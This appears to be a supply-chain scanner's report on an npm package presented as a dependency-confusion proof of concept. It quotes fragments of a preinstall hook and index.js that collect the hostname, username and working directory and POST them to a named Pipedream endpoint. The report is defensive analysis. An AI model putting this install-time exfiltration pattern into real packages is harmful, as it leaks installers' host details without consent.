service-roles-registry@99.0.2
Security research - dependency confusion proof of concept - PTC hari
AI Security Review
scanned 2d ago · by lpm-firewall-aiThe automatic preinstall hook sends host and working-directory data to an unrelated Pipedream endpoint without consent. This is concrete install-time data exfiltration.
Static reason
One or more suspicious static signals were detected.
Trigger
Package installation, when npm runs the preinstall script.
Impact
The callback operator can learn identifying details about the installing user and environment without consent.
Mechanism
index.js gathers the hostname, OS username, and current working directory, then sends them in an HTTPS POST request.
Attack narrative
During installation, the preinstall hook runs index.js, which collects the machine hostname, OS username, and current working directory and POSTs them to a Pipedream callback. This is unsolicited disclosure of host and project-location data to an unrelated endpoint.
AI rationale
The automatic preinstall hook sends host and working-directory data to an unrelated Pipedream endpoint without consent. This is concrete install-time data exfiltration.
Evidence
package.jsonindex.js
Network endpoints1
eog6t9e6egptozp.m.pipedream.net
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs `node index.js` automatically from its preinstall script.
- The install-time code collects the machine hostname, OS username, and current working directory.
- The code POSTs the collected data to `eog6t9e6egptozp.m.pipedream.net`, an unrelated callback endpoint.
Evidence against
- The package description labels it a dependency-confusion proof of concept.
Behavioral surface
Network
UrlStrings
Source & flagged code
6 flaggedpackage.jsonView file
•scripts.preinstall = node index.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg5"main": "index.js",
"scripts": {
"preinstall": "node index.js"
},
"auth
High
Ai Review Evidence
The package runs `node index.js` automatically from its preinstall script.
package.jsonView on unpkg · L5index.jsView file
1const os = require("os");
L2: const https = require("https");
L3:
...
L8: version: "99.0.2",
L9: hostname: os.hostname(),
L10: username: os.userInfo().user,
...
L23: req.on("error", () => {});
L24: req.write(data);
L25: req.end();
High
Host Fingerprint Exfiltration
Source collects local host identity data and sends it to an external endpoint.
index.jsFindings
6 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationindex.js
HighTrigger Reachable External Post Callbackindex.js
HighAi Review Evidencepackage.json
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to service-roles-registry@99.0.2.
See all versions of service-roles-registry for other recorded verdicts.
- Avoid installing service-roles-registry@99.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.